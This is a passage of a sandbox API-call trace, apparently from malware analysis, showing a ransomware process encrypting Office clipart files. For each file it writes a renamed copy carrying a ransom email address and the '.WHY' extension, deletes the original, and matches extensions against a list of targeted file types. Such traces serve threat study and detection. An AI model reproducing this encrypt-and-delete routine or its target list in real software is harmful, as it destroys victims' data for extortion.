Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0259.543] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.543] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0268.186] GetLastError () returned 0x0 [0268.186] ReadFile (in: hFile=0x164, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0xc48, lpOverlapped=0x0) returned 1 [0268.420] WriteFile (in: hFile=0x3cc, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0268.424] ReadFile (in: hFile=0x164, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.424] WriteFile (in: hFile=0x3cc, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.424] SetEndOfFile (hFile=0x3cc) returned 1 [0268.429] CloseHandle (hObject=0x3cc) returned 1 [0268.430] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.431] SetEndOfFile (hFile=0x164) returned 1 [0270.071] CloseHandle (hObject=0x164) returned 1 [0270.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0270.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0270.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.117] lstrlenW (lpString=".doc") returned 4 [0270.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.117] lstrlenW (lpString=".docx") returned 5 [0270.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.117] lstrlenW (lpString=".pdf") returned 4 [0270.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.118] lstrlenW (lpString=".xls") returned 4 [0270.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.118] lstrlenW (lpString=".xlsx") returned 5 [0270.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.118] lstrlenW (lpString=".ppt") returned 4 [0270.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.118] lstrlenW (lpString=".zip") returned 4 [0270.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.118] lstrlenW (lpString=".rar") returned 4 [0270.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.118] lstrlenW (lpString=".bz2") returned 4 [0270.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.118] lstrlenW (lpString=".7z") returned 3 [0270.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.119] lstrlenW (lpString=".dbf") returned 4 [0270.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.119] lstrlenW (lpString=".1cd") returned 4 [0270.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.119] lstrlenW (lpString=".jpg") returned 4 [0270.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.120] lstrlenW (lpString=".doc") returned 4 [0270.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.120] lstrlenW (lpString=".docx") returned 5 [0270.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.120] lstrlenW (lpString=".pdf") returned 4 [0270.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.120] lstrlenW (lpString=".xls") returned 4 [0270.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.120] lstrlenW (lpString=".xlsx") returned 5 [0270.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.121] lstrlenW (lpString=".ppt") returned 4 [0270.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.122] lstrlenW (lpString=".zip") returned 4 [0270.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.122] lstrlenW (lpString=".rar") returned 4 [0270.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.122] lstrlenW (lpString=".bz2") returned 4 [0270.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.122] lstrlenW (lpString=".7z") returned 3 [0270.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.122] lstrlenW (lpString=".dbf") returned 4 [0270.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.122] lstrlenW (lpString=".1cd") returned 4 [0270.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0270.123] lstrlenW (lpString=".jpg") returned 4 [0270.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.127] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0270.127] lstrlenW (lpString="AN04206_.WMF") returned 12 [0270.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0270.134] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=7668) returned 1 [0270.134] CloseHandle (hObject=0x3a0) returned 1 [0270.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0271.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0271.677] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.677] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.677] GetLastError () returned 0x0 [0271.678] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0271.756] WriteFile (in: hFile=0x3cc, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0271.759] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.759] WriteFile (in: hFile=0x3cc, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.759] SetEndOfFile (hFile=0x3cc) returned 1 [0271.760] CloseHandle (hObject=0x3cc) returned 1 [0271.766] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.766] SetEndOfFile (hFile=0x394) returned 1 [0271.775] CloseHandle (hObject=0x394) returned 1 [0271.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0271.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0271.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.932] lstrlenW (lpString=".doc") returned 4 [0271.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.932] lstrlenW (lpString=".docx") returned 5 [0271.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.932] lstrlenW (lpString=".pdf") returned 4 [0271.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.932] lstrlenW (lpString=".xls") returned 4 [0271.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.932] lstrlenW (lpString=".xlsx") returned 5 [0271.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.933] lstrlenW (lpString=".ppt") returned 4 [0271.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.933] lstrlenW (lpString=".zip") returned 4 [0271.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.934] lstrlenW (lpString=".rar") returned 4 [0271.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.934] lstrlenW (lpString=".bz2") returned 4 [0271.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.934] lstrlenW (lpString=".7z") returned 3 [0271.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.934] lstrlenW (lpString=".dbf") returned 4 [0271.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.934] lstrlenW (lpString=".1cd") returned 4 [0271.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.935] lstrlenW (lpString=".jpg") returned 4 [0271.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.935] lstrlenW (lpString=".doc") returned 4 [0271.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.935] lstrlenW (lpString=".docx") returned 5 [0271.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.935] lstrlenW (lpString=".pdf") returned 4 [0271.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.935] lstrlenW (lpString=".xls") returned 4 [0271.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.936] lstrlenW (lpString=".xlsx") returned 5 [0271.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.936] lstrlenW (lpString=".ppt") returned 4 [0271.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.936] lstrlenW (lpString=".zip") returned 4 [0271.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.936] lstrlenW (lpString=".rar") returned 4 [0271.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.936] lstrlenW (lpString=".bz2") returned 4 [0271.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.936] lstrlenW (lpString=".7z") returned 3 [0271.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.937] lstrlenW (lpString=".dbf") returned 4 [0271.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.937] lstrlenW (lpString=".1cd") returned 4 [0271.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0271.937] lstrlenW (lpString=".jpg") returned 4 [0271.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.938] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0271.938] lstrlenW (lpString="AN04323_.WMF") returned 12 [0271.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.005] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2492) returned 1 [0272.006] CloseHandle (hObject=0x3cc) returned 1 [0272.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0272.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0272.102] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.102] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.103] GetLastError () returned 0x0 [0272.103] ReadFile (in: hFile=0x15c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0272.230] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0272.233] ReadFile (in: hFile=0x15c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.233] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.234] SetEndOfFile (hFile=0x394) returned 1 [0272.234] CloseHandle (hObject=0x394) returned 1 [0272.238] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.238] SetEndOfFile (hFile=0x15c) returned 1 [0272.244] CloseHandle (hObject=0x15c) returned 1 [0272.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0272.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0272.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.247] lstrlenW (lpString=".doc") returned 4 [0272.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.247] lstrlenW (lpString=".docx") returned 5 [0272.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.247] lstrlenW (lpString=".pdf") returned 4 [0272.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.248] lstrlenW (lpString=".xls") returned 4 [0272.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.248] lstrlenW (lpString=".xlsx") returned 5 [0272.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.248] lstrlenW (lpString=".ppt") returned 4 [0272.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.248] lstrlenW (lpString=".zip") returned 4 [0272.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.248] lstrlenW (lpString=".rar") returned 4 [0272.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.248] lstrlenW (lpString=".bz2") returned 4 [0272.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.249] lstrlenW (lpString=".7z") returned 3 [0272.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.249] lstrlenW (lpString=".dbf") returned 4 [0272.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.249] lstrlenW (lpString=".1cd") returned 4 [0272.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.249] lstrlenW (lpString=".jpg") returned 4 [0272.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.250] lstrlenW (lpString=".doc") returned 4 [0272.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.250] lstrlenW (lpString=".docx") returned 5 [0272.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.250] lstrlenW (lpString=".pdf") returned 4 [0272.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.250] lstrlenW (lpString=".xls") returned 4 [0272.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.251] lstrlenW (lpString=".xlsx") returned 5 [0272.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.251] lstrlenW (lpString=".ppt") returned 4 [0272.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.251] lstrlenW (lpString=".zip") returned 4 [0272.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.251] lstrlenW (lpString=".rar") returned 4 [0272.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.252] lstrlenW (lpString=".bz2") returned 4 [0272.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.252] lstrlenW (lpString=".7z") returned 3 [0272.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.252] lstrlenW (lpString=".dbf") returned 4 [0272.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.252] lstrlenW (lpString=".1cd") returned 4 [0272.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0272.253] lstrlenW (lpString=".jpg") returned 4 [0272.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.253] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0272.253] lstrlenW (lpString="AN04384_.WMF") returned 12 [0272.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0272.254] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=4996) returned 1 [0272.254] CloseHandle (hObject=0x15c) returned 1 [0272.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0272.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0272.256] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.256] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program 